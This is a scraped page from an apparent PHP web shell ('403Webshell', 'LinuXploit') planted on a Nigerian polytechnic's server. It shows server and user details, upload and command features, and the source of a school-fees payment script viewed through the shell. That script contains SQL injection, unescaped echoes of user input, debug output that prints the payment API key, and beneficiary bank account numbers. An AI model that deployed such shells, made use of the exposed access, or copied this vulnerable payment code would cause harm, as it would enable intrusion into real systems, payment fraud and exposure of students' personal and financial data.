403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.50.62
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/admin_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/admin_student/postjson_schoolFees_Demo.php
<?php
require_once('headMain.php');
$id=$_SESSION['sn'];
$formNo=$_SESSION['matNo'];
$surname=$_SESSION['names'];
$dept=$_SESSION['course'];
$gsm=$_POST['payerPhone'];
$email=$_POST['payerEmail'];
$paymentType=$_SESSION['ptype'];
$_SESSION['amt_total']=$_POST['amt_total'];
$_SESSION['amt_charge']=$_POST['amt_charge'];
$_SESSION['amt']=$_POST['amt'];
?>
<!--
@company - SystemSpecs
@product - Remita
@author - Oshadami Mike
-->
<div class="col-lg-8 col-lg-offset-2">
<div class="form-group">
    <label class="col-sm-4 control-label">Payer Name</label>
    <div class="col-sm-8">
        <input type="text" class="form-control" value="<?php echo $surname ;?>"  name="name" >
    </div>
</div>
<div class="form-group">
    <label class="col-sm-4 control-label">Payer Email</label>
    <div class="col-sm-8">
        <input type="text" class="form-control" value="<?php echo $email;?>" name="email" >
    </div>
</div>
<div class="form-group">
    <label class="col-sm-4 control-label">Payer Phone</label>
    <div class="col-sm-8">
        <input type="text" class="form-control" value="<?php echo $gsm ;?>" name="phone" >
    </div>
</div>
<div class="form-group">
    <label class="col-sm-4 control-label">School Fees</label>
    <div class="col-sm-8">
        <input type="text" class="form-control" value="<?php echo $_SESSION['amt_total']-500 ;?>" name="f_amount" disabled="disabled">
    </div>
</div>
<div class="form-group">
    <label class="col-sm-4 control-label">Charges</label>
    <div class="col-sm-8">
        <input type="text" class="form-control" value="<?php echo $_SESSION['amt_charge'] ;?>" name="f_charges" disabled="disabled">
    </div>
</div>
<div class="form-group">
    <label class="col-sm-4 control-label">Total Amount</label>
    <div class="col-sm-8">
        <input type="text" class="form-control" value="<?php echo $_SESSION['amt_total'] ;?>" name="amount" disabled="disabled">
    </div>
</div>
<?php
include 'remita_constants2.php';
 $amount=$totalAmount= $_SESSION['amt_total'];

$timesammp=DATE("dmyHis");
 $orderID='2016'.mt_rand(1000, 9999).$id;
 $payerName = $_POST["payerName"];
 $payerEmail = $_POST["payerEmail"];
 $payerPhone = $_POST["payerPhone"];
$responseurl = PATH . "/new-receipt-page.php";
if ( $paymentType=="Acceptance Fee")
{
   echo  $servicetypeId = SERVICETYPEID_ACCEPTANCEFEES;

}else{
   echo $servicetypeId = SERVICETYPEID_SCHOOLFEES;
}
 $hash_string = MERCHANTID . $servicetypeId . $orderID . $totalAmount . $responseurl . APIKEY;
$hash = hash('sha512', $hash_string);
//$hash=SHA512(MERCHANTID . SERVICETYPEID . $orderID . $totalAmount . $responseurl . APIKEY).
 $itemtimestamp = $timesammp;
 $itemid1="itemid1";
 $itemid2="34444".$itemtimestamp;
//$itemid3="8694".$itemtimestamp;
$beneficiaryName="Federal Polytechnic Ede";
$beneficiaryName2="Open Deal Limited";
//$beneficiaryName3="Ogunseye Olarewanju";
$beneficiaryAccount="6020067886";
//$beneficiaryAccount="0280451361018";
$beneficiaryAccount2="6020067886";
//$beneficiaryAccount2="0360883515";
//$beneficiaryAccount3="4017904612";
$bankCode="000";
$bankCode2="050";
//$bankCode3="070";
 $beneficiaryAmount =$_SESSION['amt_total']-500;
 $beneficiaryAmount2 =$_SESSION['amt_charge'];
//$beneficiaryAmount3 ="0";
$deductFeeFrom=1;
$deductFeeFrom2=0;
//$deductFeeFrom3=0;
//The JSON data.
$content = '{"merchantId":"'. MERCHANTID
.'"'.',"serviceTypeId":"'.$servicetypeId
.'"'.",".'"totalAmount":"'.$totalAmount
.'","hash":"'. $hash
.'"'.',"orderId":"'.$orderID
.'"'.",".'"responseurl":"'.$responseurl
.'","payerName":"'. $payerName
.'"'.',"payerEmail":"'.$payerEmail
.'"'.",".'"payerPhone":"'.$payerPhone
.'","lineItems":[
{"lineItemsId":"'.$itemid1.'","beneficiaryName":"'.$beneficiaryName.'","beneficiaryAccount":"'.$beneficiaryAccount.'","bankCode":"'.$bankCode.'","beneficiaryAmount":"'.$beneficiaryAmount.'","deductFeeFrom":"'.$deductFeeFrom.'"},
{"lineItemsId":"'.$itemid2.'","beneficiaryName":"'.$beneficiaryName2.'","beneficiaryAccount":"'.$beneficiaryAccount2.'","bankCode":"'.$bankCode2.'","beneficiaryAmount":"'.$beneficiaryAmount2.'","deductFeeFrom":"'.$deductFeeFrom2.'"}
]}';
$curl = curl_init(GATEWAYURL);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER,
array("Content-type: application/json"));
curl_setopt($curl, CURLOPT_POST, true);
 curl_setopt($curl, CURLOPT_POSTFIELDS, $content);
 $json_response = curl_exec($curl);
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
curl_close($curl);
echo  $jsonData = substr($json_response, 6, -1);
 $response = json_decode($jsonData, true);
echo $statuscode = $response['statuscode'];
$statusMsg = $response['status'];
if($statuscode=='025'){
 $rrr = trim($response['RRR']);
$new_hash_string = MERCHANTID . $rrr . APIKEY;
 $new_hash = hash('sha512', $new_hash_string);


echo '<html>
<head>
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/bootstrap-dark.min.css">
</head>
<style type="text/css">
        body {
            background-color: #CFD1DE;
            background-image: url(../images/logo2fade.png);
        }
    </style>
<body>
<form action="'.GATEWAYRRRPAYMENTURL.'" method="POST">
<input id="merchantId" name="merchantId" value="'.MERCHANTID.'" type="hidden"/>
<input id="rrr" name="rrr" value="'.$rrr.'" type="hidden"/>
<input id="responseurl" name="responseurl" value="'.$responseurl.'" type="hidden"/>
<input id="hash" name="hash" value="'.$new_hash.'" type="hidden"/>
<div class="form-group">
	<label class="col-sm-4 control-label">Payment Type</label>
	<div class="col-sm-8">
		<select name="paymenttype" class="form-control">
			<option value=""> -- Select --</option>
			<option value="REMITA_PAY"> Remita Account Transfer</option>
			<option value="Interswitch"> Verve Card</option>
			<option value="UPL"> Visa</option>
			<option value="UPL"> MasterCard</option>
			<option value="PocketMoni"> PocketMoni</option>
			<option value="RRRGEN"> POS</option>
			<option value="ATM"> ATM</option>
			<option value="BANK_BRANCH">BANK BRANCH</option>
			<option value="BANK_INTERNET">BANK INTERNET</option>
		</select>
	</div>
</div>
 <div class="form-group">
	<div class="col-sm-8 col-sm-offset-4">
		<input type="submit" class="btn btn-sm btn-primary" name="submit" value="Submit" />
	</div>
</div>
	</form>
</div>
</body>
</html>';
//echo $formNo;
    require('../filetoU/logFile.php');
$logD='OrderID: '.$orderID.' PaymentType: '.$paymentType;
logDetail($formNo,$logD);
$ip2=$_SERVER['HTTP_X_FORWARDED_FOR'];
$ip1=$_SERVER['REMOTE_ADDR'];
    $amountPaid=$amount-500;
    $db->query("INSERT INTO `fedpoly`.`remitaorder` (`sn`, `orderID`, `remitaRRR`, `transDate`, `transStatus`, `regNo`, `transDetail`, `amtPaid`, `paymentType`, `transApproved`,`clientIP`,`clientProxy`) VALUES (NULL, '$orderID', '0', '0', '-1', '$formNo', 'Not Yet Approved', '$amountPaid', '$paymentType', 'False','$ip1','$ip2')");


//mysql_query("UPDATE `fedpoly`.`admitted` SET `email` = '$payerEmail',`gsm` = '$payerPhone' WHERE `admitted`.`formNo` = '$formNo'");


    }
else{
echo "Error Generating RRR - " .$statuscode;
    echo '<br>This was echoed if the query failed';
   echo 'status code:'.$statuscode .'<br>';
    echo 'status msg:'.$statusMsg.'<br>';
    echo 'MERCHANTID:'.MERCHANTID.'<br>';
    echo 'responseurl:'.$responseurl.'<br>';
    echo 'SERVICETYPEID_SCHOOLFEES:'.$servicetypeId.'<br>';
    echo 'orderID: '.$orderID.'<br>';
  //  echo 'hash: '.$hash.'<br>';
   // echo 'hash_string: '.$hash_string.'<br>';
    echo 'APIKEY:'.APIKEY.'<br>';
    //echo $bb;
}
require_once('footMain.php')
?>
    </div>

Youez - 2016 - github.com/yon3zu
LinuXploit